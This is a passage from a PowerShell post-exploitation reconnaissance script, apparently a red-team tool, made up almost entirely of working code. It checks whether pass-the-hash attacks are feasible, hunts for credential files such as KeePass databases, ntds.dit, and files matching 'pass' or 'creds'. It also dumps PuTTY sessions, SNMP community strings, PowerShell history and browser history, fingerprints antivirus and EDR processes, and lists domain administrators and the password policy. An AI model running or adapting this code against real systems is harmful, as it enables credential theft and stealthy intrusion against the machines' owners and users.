            UACLOCALACCOUNTTOKENFILTERPOLICY       = If((Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System -EA 0).LocalAccountTokenFilterPolicy -eq 1){"Disabled (PTH likely w/ non-RID500 Local Admins)"} Else {"Enabled (Remote Administration restricted for non-RID500 Local Admins)"}
            UACFILTERADMINISTRATORTOKEN     = If((Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System -EA 0).FilterAdministratorToken -eq 1){"Enabled (RID500 protected)"} Else {"Disabled (PTH likely with RID500 Account)"}
            HIGHINTEGRITY           = $IsHighIntegrity
            DENYRDPCONNECTIONS      = [bool](Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server" -EA 0).FDenyTSConnections
        }      
                    
        # PS feels the need to randomly re-order everything when converted to an object so let's presort
        New-Object -TypeName PSobject -Property $SysInfoHash | Select-Object Hostname, OS, Architecture, "Date(UTC)", "Date(Local)", InstallDate, UpTime, IPAddresses, Domain, Username, LogonServer, PSVersion, PSCompatibleVersions, PSScriptBlockLogging, PSTranscription, PSTranscriptionDir, PSModuleLogging, LSASSProtection, LAPS, UAC, UACLocalAccountTokenFilterPolicy, UACFilterAdministratorToken, HighIntegrity
    }
        
    function Get-ProcessInfo() {
    <#
    .SYNOPSIS
    
    Gets detailed process information via WMI
    
    #>  
        # Extra work here to include process owner and commandline using WMI
        Write-Verbose "Enumerating running processes..."
        $owners = @{}
        $commandline = @{}
    
        gwmi win32_process |% {$owners[$_.handle] = $_.getowner().user}
        gwmi win32_process |% {$commandline[$_.handle] = $_.commandline}
    
        $procs = Get-Process | Sort-Object -property ID
        $procs | ForEach-Object {$_|Add-Member -MemberType NoteProperty -Name "Owner" -Value $owners[$_.id.tostring()] -force}
        $procs | ForEach-Object {$_|Add-Member -MemberType NoteProperty -Name "CommandLine" -Value $commandline[$_.id.tostring()] -force}
    
        Return $procs
    }
    
    function Get-LocalUsers {
    <#
        .SYNOPSIS
        Pulls local users and some of their properties. 
    
        .DESCRIPTION
        Uses the [ADSI] object type to query user objects for group membership, password expiration, etc
    
        .LINK
        This function borrows the ADSI code from the following link:
        http://www.bryanvine.com/2015/08/powershell-script-get-localusers.html
    
    #>
    
        $LocalUsers = Get-WmiObject -Class Win32_UserAccount -Filter "Domain='$($env:ComputerName)'"
    
        # Pull some additional properties that we don't get through Win32_UserAccount
        $LocalUserProps = ([ADSI]"WinNT://$env:computerName").Children | ?{$_.SchemaClassName -eq 'user'} | %{
                $_ | Select @{n='UserName';e={$_.Name}},
                @{n='Disabled';e={if(($_.userflags.value -band 2) -eq 2){$true} else{$false}}},
                @{n='PasswordExpired';e={if($_.PasswordExpired){$true} else{$false}}},
                @{n='PasswordNeverExpires';e={if(($_.userflags.value -band 65536) -eq 65536){$true} else{$false}}},
                @{n='PasswordAge';e={if($_.PasswordAge[0] -gt 0){[DateTime]::Now.AddSeconds(-$_.PasswordAge[0])} else {$null}}},
                @{n='LastLogin';e={$_.LastLogin}},
                @{n='Description';e={$_.Description}},
                @{n='UserFlags';e={$_.userflags}}
            }
        
        # Add PasswordAge and LastLogin properties to our users enumerated via WMI
        $passwordage = @{}
        $lastlogin = @{}
    
        $LocalUserProps |%{$passwordage[$_.UserName] = $_.PasswordAge}
        $LocalUserProps |%{$lastlogin[$_.UserName] = $_.LastLogin}
    
        $LocalUsers | ForEach-Object {$_|Add-Member -MemberType NoteProperty -Name "PasswordLastSet" -Value $passwordage[$_.Name] -force}
        $Localusers | ForEach-Object {$_|Add-Member -MemberType NoteProperty -Name "LastLogin" -Value $lastlogin[$_.Name] -force}
        
        $LocalUsers
    }
        
    function Get-UserGroupMembership {
    <#
    .SYNOPSIS
    
    Pulls local group membership for the current user
     
    #>
        Write-Verbose "Enumerating current user local group membership..."
        
        $UserIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent()
        $CurrentUserSids = $UserIdentity.Groups | Select-Object -expand value
        $Groups = ForEach ($sid in $CurrentUserSids) {
            $SIDObj = New-Object System.Security.Principal.SecurityIdentifier("$sid")
            $GroupObj = New-Object -TypeName PSObject -Property @{
                        SID = $sid
                        GroupName = $SIDObj.Translate([System.Security.Principal.NTAccount])
            }
            $GroupObj
        }
        $Groups
    }
    
    function Get-ActiveTCPConnections {
    <#
    .SYNOPSIS
    
    Enumerates active TCP connections for IPv4 and IPv6
    Adapted from Beau Bullock's TCP code
    https://raw.githubusercontent.com/dafthack/HostRecon/master/HostRecon.ps1
    
    #>
        Write-Verbose "Enumerating active network connections..."
        $IPProperties = [System.Net.NetworkInformation.IPGlobalProperties]::GetIPGlobalProperties()            
        $Connections = $IPProperties.GetActiveTcpConnections()            
        foreach($Connection in $Connections) {            
            if($Connection.LocalEndPoint.AddressFamily -eq "InterNetwork" ) { $IPType = "IPv4" } else { $IPType = "IPv6" }            
            New-Object -TypeName PSobject -Property @{           
                "LocalAddress"  = $Connection.LocalEndPoint.Address            
                "LocalPort"     = $Connection.LocalEndPoint.Port            
                "RemoteAddress" = $Connection.RemoteEndPoint.Address            
                "RemotePort"    = $Connection.RemoteEndPoint.Port            
                "State"         = $Connection.State            
                "IPVersion"     = $IPType            
            }
        }
    }
        
    function Get-ActiveListeners {
    <#
    .SYNOPSIS
    
    Enumerates active TCP/UDP listeners.
    
    #>
        Write-Verbose "Enumerating active TCP/UDP listeners..."     
        $IPProperties = [System.Net.NetworkInformation.IPGlobalProperties]::GetIPGlobalProperties()         
        $TcpListeners = $IPProperties.GetActiveTCPListeners()
        $UdpListeners = $IPProperties.GetActiveUDPListeners()
                
        ForEach($Connection in $TcpListeners) {            
            if($Connection.address.AddressFamily -eq "InterNetwork" ) { $IPType = "IPv4" } else { $IPType = "IPv6" }                 
            New-Object -TypeName PSobject -Property @{          
                "Protocol"      = "TCP"
                "LocalAddress"  = $Connection.Address            
                "ListeningPort" = $Connection.Port            
                "IPVersion"     = $IPType
            }
        }
        ForEach($Connection in $UdpListeners) {            
            if($Connection.address.AddressFamily -eq "InterNetwork" ) { $IPType = "IPv4" } else { $IPType = "IPv6" }                 
            New-Object -TypeName PSobject -Property @{          
                "Protocol"      = "UDP"
                "LocalAddress"  = $Connection.Address            
                "ListeningPort" = $Connection.Port            
                "IPVersion"     = $IPType
            }
        }
    }
    
    function Get-FirewallStatus {
    <#
    .SYNOPSIS
    
    Enumerates local firewall status from registry
     
    #>
        $regkey = "HKLM:\System\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy"
        New-Object -TypeName PSobject -Property @{
            Standard    = If ((Get-ItemProperty $regkey\StandardProfile).EnableFirewall -eq 1){"Enabled"}Else {"Disabled"}
            Domain      = If ((Get-ItemProperty $regkey\DomainProfile).EnableFirewall -eq 1){"Enabled"}Else {"Disabled"}
            Public      = If ((Get-ItemProperty $regkey\PublicProfile).EnableFirewall -eq 1){"Enabled"}Else {"Disabled"}
        }
    }
        
    function Get-InterestingRegistryKeys {
    <#
    .SYNOPSIS
    
    Pulls potentially interesting registry keys
     
    #>
        Write-Verbose "Enumerating registry keys..."            
        
        # Recently typed "run" commands
        "`n[+] Recent RUN Commands:`n"
        Get-Itemproperty "HKCU:\software\microsoft\windows\currentversion\explorer\runmru" | Out-String
    
        # HKLM SNMP Keys
        "`n[+] SNMP community strings:`n"
        Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\services\snmp\parameters\validcommunities" | Format-List | Out-String
        
        # HKCU SNMP Keys 
        "`n[+] SNMP community strings for current user:`n"
        Get-ItemProperty "HKCU:\SYSTEM\CurrentControlSet\services\snmp\parameters\validcommunities"| Format-List |Out-String
        
        # Putty Saved Session Keys
        "`n[+] Putty saved sessions:`n"
        Get-ItemProperty "HKCU:\Software\SimonTatham\PuTTY\Sessions\*" |Format-List | Out-String
        
        "`n[+] Windows Update Settings:`n"
        Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" |Format-List | Out-String
    
        "`n[+] Kerberos Settings:`n"
        Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System\Kerberos\Parameters" |Format-List | Out-String
    
        "`n[+] Wdigest Settings:`n"
        Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\SecurityProviders\WDigest" |Format-List | Out-String
    
        "`n[+] Windows Installer Settings:`n"
        Get-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows\Installer" |Format-List | Out-String
        Get-ItemProperty "HKCU:\Software\Policies\Microsoft\Windows\Installer" |Format-List | Out-String
    
        "`n[+] Windows Policy Settings:`n"
        Get-ChildItem registry::HKEY_LOCAL_MACHINE\Software\Policies -recurse | Out-String
        Get-ChildItem registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies -recurse | Out-String
        Get-ChildItem registry::HKEY_CURRENT_USER\Software\Policies -recurse | Out-String
        Get-ChildItem registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies -recurse | Out-String
    }
    
    
    function Get-IndexedFiles {
    <#
    .SYNOPSIS
    
    Uses the Windows indexing service to search for interesting files and often includes Outlook e-mails.
    Code originally adapted from a Microsoft post, but can no longer locate the exact source. Doesn't work on all systems.
    
    #>
    param (
        [Parameter(Mandatory=$true)][string]$Pattern)  
    
        if($Path -eq ""){$Path = $PWD;} 
    
        $pattern = $pattern -replace "\*", "%"  
        $path = $path + "\%"
    
        $con = New-Object -ComObject ADODB.Connection
        $rs = New-Object -ComObject ADODB.Recordset
    
        # This directory indexing search doesn't work on some systems tested (i.e.Server 2K8r2)
        # Using Try/Catch to break the search in case the provider isn't available
        Try {
            $con.Open("Provider=Search.CollatorDSO;Extended Properties='Application=Windows';")}
        Catch {
            "[-] Indexed file search provider not available";Break
        }
        $rs.Open("SELECT System.ItemPathDisplay FROM SYSTEMINDEX WHERE System.FileName LIKE '" + $pattern + "' " , $con)
    
        While(-Not $rs.EOF){
            $rs.Fields.Item("System.ItemPathDisplay").Value
            $rs.MoveNext()
        }
    }
    
    function Get-InterestingFiles {
    <#
    .SYNOPSIS
    
    Local filesystem enumeration
    
    #>
        Write-Verbose "Enumerating interesting files..."
    
        # Get Indexed files containg $searchStrings (Experimental), edit this to desired list of "dirty words"
        $SearchStrings = "*secret*","*creds*","*credential*","*.vmdk","*confidential*","*proprietary*","*pass*","*credentials*","web.config","KeePass.config*","*.kdbx","*.key","tnsnames.ora","ntds.dit","*.dll.config","*.exe.config"
        $IndexedFiles = Foreach ($String in $SearchStrings) {Get-IndexedFiles $string}
        
        "`n[+] Indexed File Search:`n"
        "`n[+] Search Terms ($SearchStrings)`n`n"
        $IndexedFiles |Format-List |Out-String -width 300
        
        # Get Top Level file listing of all drives
        "`n[+] All 'FileSystem' Drives - Top Level Listing:`n"
        Get-PSdrive -psprovider filesystem |ForEach-Object {gci $_.Root} |Select-Object Fullname,LastWriteTimeUTC,LastAccessTimeUTC,Length | Format-Table -auto | Out-String -width 300
        
        # Get Program Files
        "`n[+] System Drive - Program Files:`n"
        GCI "$ENV:ProgramFiles\" | Select-Object Fullname,LastWriteTimeUTC,LastAccessTimeUTC,Length | Format-Table -auto | Out-String -width 300
        
        # Get Program Files (x86)
        "`n[+] System Drive - Program Files (x86):`n"
        GCI "$ENV:ProgramFiles (x86)\" | Select-Object Fullname,LastWriteTimeUTC,LastAccessTimeUTC,Length | Format-Table -auto | Out-String -width 300
        
        # Get %USERPROFILE%\Desktop top level file listing
        "`n[+] Current User Desktop:`n"
        GCI $ENV:USERPROFILE\Desktop | Select-Object Fullname,LastWriteTimeUTC,LastAccessTimeUTC,Length | Format-Table -auto | Out-String -width 300
        
        # Get %USERPROFILE%\Documents top level file listing
        "`n[+] Current User Documents:`n"
        GCI $ENV:USERPROFILE\Documents | Select-Object Fullname,LastWriteTimeUTC,LastAccessTimeUTC,Length | Format-Table -auto | Out-String -width 300
        
        # Get Files in the %USERPROFILE% directory with certain extensions or phrases
        "`n[+] Current User Profile (*pass*,*diagram*,*.pdf,*.vsd,*.doc,*docx,*.xls,*.xlsx,*.kdbx,*.key,KeePass.config):`n"
        GCI $ENV:USERPROFILE\ -recurse -include *pass*,*diagram*,*.pdf,*.vsd,*.doc,*docx,*.xls,*.xlsx,*.kdbx,*.key,KeePass.config | Select-Object Fullname,LastWriteTimeUTC,LastAccessTimeUTC,Length | Format-Table -auto | Out-String -width 300
    
        # Get Powershell History
        "`n[+] Current User Powershell Console History:`n`n"
        Try {
            $PowershellHistory = (Get-PSReadlineOption).HistorySavePath
            (Get-Content $PowershellHistory -EA 0 |select -last 50) -join "`r`n"
        } Catch [System.Management.Automation.CommandNotFoundException]{
            (Get-Content $ENV:APPDATA\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt -EA 0 |select -last 50) -join "`r`n"
        }
        
        # Get Host File
        "`n[+] Contents of Hostfile:`n`n"
        (Get-Content -path "$($ENV:WINDIR)\System32\drivers\etc\hosts") -join "`r`n"
    }
    
    function Get-RecycleBin {
    <#
    .SYNOPSIS
    
    Gets the contents of the Recycle Bin for the current user
    
    #>  
        Write-Verbose "Enumerating deleted files in Recycle Bin..."
        Try {
            $Shell = New-Object -ComObject Shell.Application
            $Recycler = $Shell.NameSpace(0xa)
            If (($Recycler.Items().Count) -gt 0) {
                $Output += $Recycler.Items() | Sort ModifyDate -Descending | Select-Object Name, Path, ModifyDate, Size, Type
            }
            Else {
                Write-Verbose "No deleted items found in Recycle Bin!`n"
            }
        }
        Catch {Write-Verbose "[-] Error getting deleted items from Recycle Bin! $($Error[0])`n"}
        
        Return $Output
    }
    
    function Get-AVInfo {
    <#
    .SYNOPSIS
    
        Gets the installed AV product and current status
    
    #>
        Write-Verbose "Enumerating installed AV product..."
    
        $AntiVirusProduct = Get-WmiObject -Namespace "root\SecurityCenter2" -Class AntiVirusProduct  -ComputerName $env:computername
    
        switch ($AntiVirusProduct.productState) { 
            "262144" {$defstatus = "Up to date" ;$rtstatus = "Disabled"} 
            "262160" {$defstatus = "Out of date" ;$rtstatus = "Disabled"} 
            "266240" {$defstatus = "Up to date" ;$rtstatus = "Enabled"} 
            "266256" {$defstatus = "Out of date" ;$rtstatus = "Enabled"} 
            "393216" {$defstatus = "Up to date" ;$rtstatus = "Disabled"} 
            "393232" {$defstatus = "Out of date" ;$rtstatus = "Disabled"} 
            "393488" {$defstatus = "Out of date" ;$rtstatus = "Disabled"} 
            "397312" {$defstatus = "Up to date" ;$rtstatus = "Enabled"} 
            "397328" {$defstatus = "Out of date" ;$rtstatus = "Enabled"} 
            "397584" {$defstatus = "Out of date" ;$rtstatus = "Enabled"} 
            "397568" {$defstatus = "Up to date"; $rtstatus = "Enabled"}
            "393472" {$defstatus = "Up to date" ;$rtstatus = "Disabled"}
        default {$defstatus = "Unknown" ;$rtstatus = "Unknown"} 
        }
        
        # Create hash-table
        $ht = @{}
        $ht.Computername = $env:computername
        $ht.Name = $AntiVirusProduct.displayName
        $ht.'Product GUID' = $AntiVirusProduct.instanceGuid
        $ht.'Product Executable' = $AntiVirusProduct.pathToSignedProductExe
        $ht.'Reporting Exe' = $AntiVirusProduct.pathToSignedReportingExe
        $ht.'Definition Status' = $defstatus
        $ht.'Real-time Protection Status' = $rtstatus
    
        # Convert to PS object and then format as a string for file output
        $Output = New-Object -TypeName PSObject -Property $ht #|Format-List
        
        Return $Output
    }
    
    function Get-McafeeLogs {
    <#
    .SYNOPSIS
    
        Searches Application log for "McLogEvent" Provider associated with McAfee AV products and selects the first 50 events from the last 14 days
    
    #>
        Write-Verbose "Enumerating Mcafee AV events..."
        # Get events from the last two weeks
        $date = (get-date).AddDays(-14)
        $ProviderName = "McLogEvent"
        # Try to get McAfee AV event logs
        Try {
            $McafeeLogs = Get-WinEvent -FilterHashTable @{ logname = "Application"; StartTime = $date; ProviderName = $ProviderName; }
            $McafeeLogs |Select-Object -First 50 ID, Providername, DisplayName, TimeCreated, Level, UserID, ProcessID, Message
        }
        Catch {
            Write-Verbose "[-] Error getting McAfee AV event logs! $($Error[0])`n"
        }
    }
        
    function Get-AVProcesses {
    <#
    .SYNOPSIS
        
        Returns suspected AV processes based on name matching
        
        AV process list adapted from Beau Bullock's HostRecon AV detection code
        https://raw.githubusercontent.com/dafthack/HostRecon/master/HostRecon.ps1
    
    #>
        Write-Verbose "Enumerating potential AV processes..."
        $processes = Get-Process
        
        $avlookuptable = @{
                    #explorer                   = "Explorer (testing)"
                    mcshield                    = "McAfee AV"
                    FrameworkService            = "McAfee AV"
                    naPrdMgr                    = "McAfee AV"
                    windefend                   = "Windows Defender AV"
                    MSASCui                     = "Windows Defender AV"
                    msmpeng                     = "Windows Defender AV"
                    msmpsvc                     = "Windows Defender AV"
                    WRSA                        = "WebRoot AV"
                    savservice                  = "Sophos AV"
                    TMCCSF                      = "Trend Micro AV"
                    "symantec antivirus"        = "Symantec AV"
                    ccSvcHst                    = "Symantec Endpoint Protection"
                    TaniumClient                = "Tanium"
                    mbae                        = "MalwareBytes Anti-Exploit"
                    parity                      = "Bit9 application whitelisting"
                    cb                          = "Carbon Black behavioral analysis"
                    "bds-vision"                = "BDS Vision behavioral analysis"
                    Triumfant                   = "Triumfant behavioral analysis"
                    CSFalcon                    = "CrowdStrike Falcon EDR"
                    ossec                       = "OSSEC intrusion detection"
                    TmPfw                       = "Trend Micro firewall"
                    dgagent                     = "Verdasys Digital Guardian DLP"
                    kvoop                       = "Forcepoint and others"
                    xagt                        = "FireEye Endpoint Agent"
                }
                
        ForEach ($process in $processes) {
                ForEach ($key in $avlookuptable.keys){
                
                    if ($process.ProcessName -match $key){
                        New-Object -TypeName PSObject -Property @{
                            AVProduct   = ($avlookuptable).Get_Item($key)
                            ProcessName = $process.ProcessName
                            PID         = $process.ID
                            }
                    }
                }
        }
    }
        
    function Get-DomainAdmins {
    <#
    .SYNOPSIS
    
    Enumerates admininistrator type accounts within the domain using code adapted from Dafthack HostRecon.ps1
    
    #>  
        Write-Verbose "Enumerating Domain Administrators..."
        $Domain = [System.Directoryservices.Activedirectory.Domain]::GetCurrentDomain()
                
        Try {
            $DAgroup = ([adsi]"WinNT://$domain/Domain Admins,group")
            $Members = @($DAgroup.psbase.invoke("Members"))
            [Array]$MemberNames = $Members | ForEach{([ADSI]$_).InvokeGet("Name")}
            "`n[+] Domain Admins:`n"
            $MemberNames
    
            $EAgroup = ([adsi]"WinNT://$domain/Enterprise Admins,group")
            $Members = @($EAgroup.psbase.invoke("Members"))
            [Array]$MemberNames = $Members | ForEach{([ADSI]$_).InvokeGet("Name")}
            "`n[+] Enterprise Admins:`n"
            $MemberNames
            
            $SAgroup = ([adsi]"WinNT://$domain/Schema Admins,group")
            $Members = @($DAgroup.psbase.invoke("Members"))
            [Array]$MemberNames = $Members | ForEach{([ADSI]$_).InvokeGet("Name")}
            "`n[+] Schema Admins:`n"
            $MemberNames
    
            $DAgroup = ([adsi]"WinNT://$domain/Administrators,group")
            $Members = @($DAgroup.psbase.invoke("Members"))
            [Array]$MemberNames = $Members | ForEach{([ADSI]$_).InvokeGet("Name")}
            "`n[+] Administrators:`n"
            $MemberNames
        }
        Catch {
            Write-Verbose "[-] Error connecting to the domain while retrieving group members."    
        }
    }
    
    function Get-DomainAccountPolicy {
    <#
    .SYNOPSIS
    
    Enumerates account policy from the domain with code adapted from Dafthack HostRecon.ps1
    
    #>  
    
    Write-Verbose "Enumerating domain account policy"
    $Domain = [System.Directoryservices.Activedirectory.Domain]::GetCurrentDomain()
    
        Try {
            $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain",$domain)
            $DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
            $CurrentDomain = [ADSI]"WinNT://$env:USERDOMAIN"
            $Name = @{Name="DomainName";Expression={$_.Name}}
            $MinPassLen = @{Name="Minimum Password Length";Expression={$_.MinPasswordLength}}
            $MinPassAge = @{Name="Minimum Password Age (Days)";Expression={$_.MinPasswordAge.value/86400}}
            $MaxPassAge = @{Name="Maximum Password Age (Days)";Expression={$_.MaxPasswordAge.value/86400}}
            $PassHistory = @{Name="Enforce Password History (Passwords remembered)";Expression={$_.PasswordHistoryLength}}
            $AcctLockoutThreshold = @{Name="Account Lockout Threshold";Expression={$_.MaxBadPasswordsAllowed}}
            $AcctLockoutDuration =  @{Name="Account Lockout Duration (Minutes)";Expression={if ($_.AutoUnlockInterval.value -eq -1) {'Account is locked out until administrator unlocks it.'} else {$_.AutoUnlockInterval.value/60}}}
            $ResetAcctLockoutCounter = @{Name="Observation Window";Expression={$_.LockoutObservationInterval.value/60}}
            
            $CurrentDomain | Select-Object $Name,$MinPassLen,$MinPassAge,$MaxPassAge,$PassHistory,$AcctLockoutThreshold,$AcctLockoutDuration,$ResetAcctLockoutCounter
        }
        Catch {
                Write-Verbose "[-] Error connecting to the domain while retrieving password policy."    
        }
    }
    
    function Get-BrowserInformation {
    <#
        .SYNOPSIS
    
            Dumps Browser Information
            Author: @424f424f
            License: BSD 3-Clause
            Required Dependencies: None
            Optional Dependencies: None
            https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Get-BrowserData.ps1
    
        .DESCRIPTION
    
            Enumerates browser history or bookmarks for a Chrome, Internet Explorer,
            and/or Firefox browsers on Windows machines.
    
        .PARAMETER Browser
    
            The type of browser to enumerate, 'Chrome', 'IE', 'Firefox' or 'All'
    
        .PARAMETER Datatype
    
            Type of data to enumerate, 'History' or 'Bookmarks'
    
        .PARAMETER UserName
    
            Specific username to search browser information for.
    
        .PARAMETER Search
    
            Term to search for
    
        .EXAMPLE
    
            PS C:\> Get-BrowserInformation
    
            Enumerates browser information for all supported browsers for all current users.
    
        .EXAMPLE
    
            PS C:\> Get-BrowserInformation -Browser IE -Datatype Bookmarks -UserName user1
    
            Enumerates bookmarks for Internet Explorer for the user 'user1'.
    
        .EXAMPLE
    
            PS C:\> Get-BrowserInformation -Browser All -Datatype History -UserName user1 -Search 'github'
    
            Enumerates bookmarks for Internet Explorer for the user 'user1' and only returns
            results matching the search term 'github'.
    #>
        [CmdletBinding()]
        Param
        (
            [Parameter(Position = 0)]
            [String[]]
            [ValidateSet('Chrome','IE','FireFox', 'All')]
            $Browser = 'All',
    
            [Parameter(Position = 1)]
            [String[]]
            [ValidateSet('History','Bookmarks','All')]
            $DataType = 'All',
    
            [Parameter(Position = 2)]
            [String]
            $UserName = '',
    
            [Parameter(Position = 3)]
            [String]
            $Search = ''
        )
    
        Write-Verbose "Enumerating web browser history..."
    
        function ConvertFrom-Json20([object] $item){
            #http://stackoverflow.com/a/29689642
            Add-Type -AssemblyName System.Web.Extensions
            $ps_js = New-Object System.Web.Script.Serialization.JavaScriptSerializer
            return ,$ps_js.DeserializeObject($item)
            
        }
    
        function Get-ChromeHistory {
            $Path = "$Env:systemdrive\Users\$UserName\AppData\Local\Google\Chrome\User Data\Default\History"
            if (-not (Test-Path -Path $Path)) {
                Write-Verbose "[-] Could not find Chrome History for username: $UserName"
            }
            $Regex = '(http|ftp|https|file)://([\w_-]+(?:(?:\.[\w_-]+)+))([\w.,@?^=%&:/~+#-]*[\w@?^=%&/~+#-])?'
            $Value = Get-Content -Path "$Env:systemdrive\Users\$UserName\AppData\Local\Google\Chrome\User Data\Default\History"|Select-String -AllMatches $regex |% {$_.Matches}
            $Value | ForEach-Object {
                $Key = $_
                if ($Key -match $Search){
                    New-Object -TypeName PSObject -Property @{
                        User = $UserName
                        Browser = 'Chrome'
                        DataType = 'History'
                        Data = $_.Value
                    }
                }
            }        
        }
    
        function Get-ChromeBookmarks {
        $Path = "$Env:systemdrive\Users\$UserName\AppData\Local\Google\Chrome\User Data\Default\Bookmarks"
        if (-not (Test-Path -Path $Path)) {
            Write-Verbose "[-] Could not find Chrome Bookmarks for username: $UserName"
        }   else {
                $Json = Get-Content $Path
                $Output = ConvertFrom-Json20($Json)
                $Jsonobject = $Output.roots.bookmark_bar.children
                # Modified parsing to properly iterate of the array of dictionaries
                $JsonObject | ForEach-Object {
                    New-Object -TypeName PSObject -Property @{
                        User = $UserName
                        Browser = 'Chrome'
                        DataType = 'Bookmark'
                        Data = $_.item('url')
                        Name = $_.item('name')
                    }
                }
            }
        }
    
        function Get-InternetExplorerHistory {
            #https://crucialsecurityblog.harris.com/2011/03/14/typedurls-part-1/
    
            $Null = New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS -ErrorAction SilentlyContinue
            $Paths = Get-ChildItem 'HKU:\' -ErrorAction SilentlyContinue | Where-Object { $_.Name -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }
    
            ForEach($Path in $Paths) {
    
                $User = ([System.Security.Principal.SecurityIdentifier] $Path.PSChildName).Translate( [System.Security.Principal.NTAccount]) | Select -ExpandProperty Value
    
                $Path = $Path | Select-Object -ExpandProperty PSPath
    
                $UserPath = "$Path\Software\Microsoft\Internet Explorer\TypedURLs"
                if (-not (Test-Path -Path $UserPath)) {
                    Write-Verbose "[-] Could not find IE History for SID: $Path"
                }
                else {
                    Get-Item -Path $UserPath -ErrorAction SilentlyContinue | ForEach-Object {
                        $Key = $_
                        $Key.GetValueNames() | ForEach-Object {
                            $Value = $Key.GetValue($_)
                            if ($Value -match $Search) {
                                New-Object -TypeName PSObject -Property @{
                                    User = $UserName
                                    Browser = 'IE'
                                    DataType = 'History'
                                    Data = $Value
                                }
                            }
                        }
                    }
                }
            }
        }
    
        function Get-InternetExplorerBookmarks {
            $URLs = Get-ChildItem -Path "$Env:systemdrive\Users\" -Filter "*.url" -Recurse -ErrorAction SilentlyContinue
            ForEach ($URL in $URLs) {
                if ($URL.FullName -match 'Favorites') {
                    $User = $URL.FullName.split('\')[2]
                    Get-Content -Path $URL.FullName | ForEach-Object {
                        try {
                            if ($_.StartsWith('URL')) {
                                # parse the .url body to extract the actual bookmark location
                                $URL = $_.Substring($_.IndexOf('=') + 1)
    
                                if($URL -match $Search) {
                                    New-Object -TypeName PSObject -Property @{
                                        User = $User
                                        Browser = 'IE'
                                        DataType = 'Bookmark'
                                        Data = $URL
                                    }
                                }
                            }
                        }
                        catch {
                            Write-Verbose "Error parsing url: $_"
                        }
                    }
                }
            }
        }
    
        function Get-FirefoxHistory {
            $Path = "$Env:systemdrive\Users\$UserName\AppData\Roaming\Mozilla\Firefox\Profiles\"
            if (-not (Test-Path -Path $Path)) {
                Write-Verbose "[-] Could not find FireFox History for username: $UserName"
            }
            else {
                $Profiles = Get-ChildItem -Path "$Path\*.default\" -ErrorAction SilentlyContinue
                # Modified Regex to match SQLite DB
                $Regex = '(http|ftp|https|file)://([\w_-]+(?:(?:\.[\w_-]+)+))([\w.,@?^=%&:/~+#-]*[\w@?^=%&/~+#-])?'
                $Value = Get-Content $Profiles\places.sqlite | Select-String -Pattern $Regex -AllMatches | Select-Object -ExpandProperty Matches |Sort -Unique
                $Value | ForEach-Object {
                        New-Object -TypeName PSObject -Property @{
                            User = $UserName
                            Browser = 'Firefox'
                            DataType = 'History'
                            Data = $_.Value
                            }    
                        }
            }
        }
    
        if (!$UserName) {
            $UserName = "$ENV:USERNAME"
        }
    
        if(($Browser -Contains 'All') -or ($Browser -Contains 'Chrome')) {
            if (($DataType -Contains 'All') -or ($DataType -Contains 'History')) {
                Get-ChromeHistory
            }
            if (($DataType -Contains 'All') -or ($DataType -Contains 'Bookmarks')) {
                Get-ChromeBookmarks
            }
        }
    
        if(($Browser -Contains 'All') -or ($Browser -Contains 'IE')) {
            if (($DataType -Contains 'All') -or ($DataType -Contains 'History')) {
                Get-InternetExplorerHistory
            }
            if (($DataType -Contains 'All') -or ($DataType -Contains 'Bookmarks')) {
                Get-InternetExplorerBookmarks
            }
        }
    
        if(($Browser -Contains 'All') -or ($Browser -Contains 'FireFox')) {
            if (($DataType -Contains 'All') -or ($DataType -Contains 'History')) {
                Get-FireFoxHistory
            }
        }
    }
    
    function Get-ActiveIEURLS {
    <#
    .SYNOPSIS
    
    Returns a list of URLs currently loaded in the browser
    Source: http://windowsitpro.com/powershell/retrieve-information-open-browsing-sessions
    #>
        Param([switch]$Full, [switch]$Location, [switch]$Content)
        Write-Verbose "Enumerating active Internet Explorer windows"
        $urls = (New-Object -ComObject Shell.Application).Windows() |
        Where-Object {$_.LocationUrl -match "(^https?://.+)|(^ftp://)"} |
        Where-Object {$_.LocationUrl}
        if ($urls) {
            if($Full)
            {
                $urls
            }
            elseif($Location)
            {
                $urls | Select Location*
            }
            elseif($Content)
            {
                $urls | ForEach-Object {
                    $_.LocationName;
                    $_.LocationUrl;
                    $_.Document.body.innerText
                }
            }
            else
            {
                $urls | Select-Object LocationUrl, LocationName
            }
        }
        else {
            Write-Verbose "[-] No active Internet Explorer windows found"
        }
    }
    
    # End Browser Enumeration
    
    function Get-ExplicitLogonEvents {
    <#
        .SYNOPSIS
    
        Gets 4648 Explicit Logon Events from Windows Event Log
    
        Author: Lee Christensen (@tifkin_)
    #>
    
        [CmdletBinding()]
        Param(
            [int]
            $Days = 10
        )
    
        Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4648; StartTime=(Get-Date).AddDays(-$Days)} | ?{!$_.Properties[5].Value.EndsWith('$')} | %{
    
            $Properties = $_.Properties
            New-Object PSObject -Property @{
                TimeCreated       = $_.TimeCreated
                #SubjectUserSid    = $Properties[0].Value.ToString()
                SubjectUserName   = $Properties[1].Value
                SubjectDomainName = $Properties[2].Value
                #SubjectLogonId    = $Properties[3].Value
                #LogonGuid         = $Properties[4].Value.ToString()
                TargetUserName    = $Properties[5].Value
                TargetDomainName  = $Properties[6].Value
                #TargetLogonGuid   = $Properties[7].Value
                #TargetServerName  = $Properties[8].Value
                #TargetInfo        = $Properties[9].Value
                #ProcessId         = $Properties[10].Value
